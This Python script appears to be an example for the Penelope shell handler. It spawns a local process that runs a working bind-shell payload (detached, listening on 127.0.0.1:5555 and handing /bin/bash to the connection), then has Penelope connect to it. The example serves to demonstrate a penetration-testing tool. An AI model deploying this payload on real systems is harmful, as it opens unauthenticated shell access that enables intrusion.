#!/usr/bin/python3

import os, sys, subprocess, time

# Make penelope importable from everywhere
sys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__)), '..', '..'))

HOST = "127.0.0.1"
PORT = 5555

# Bind shell simulation (runs entirely on localhost, no real RCE)
# Spawns a local process that opens a bind shell, just like a target would
# after a bind-shell payload fired.
payload = (
	"import os,socket,subprocess;"
	"os.fork() and os._exit(0);"
	"os.setsid();"
	"os.fork() and os._exit(0);"
	"s=socket.socket();s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1);"
	f"s.bind(('{HOST}',{PORT}));s.listen(1);c,a=s.accept();"
	"os.dup2(c.fileno(),0);os.dup2(c.fileno(),1);os.dup2(c.fileno(),2);"
	"subprocess.call(['/bin/bash'])"
)
subprocess.Popen([sys.executable, '-c', payload])
time.sleep(0.5)	                        # Give the local bind shell a moment to start listening

# Penelope
import penelope                         # Importing penelope -----> REQUIRED <-----
#penelope.options.silent = True         # Optional
#penelope.options.single_session = True # Optional
penelope.Connect(HOST, PORT)            # Connect to the bind shell -----> REQUIRED <-----
penelope.start()                        # Drop into Penelope's main menu (blocking, main thread) -----> REQUIRED <-----
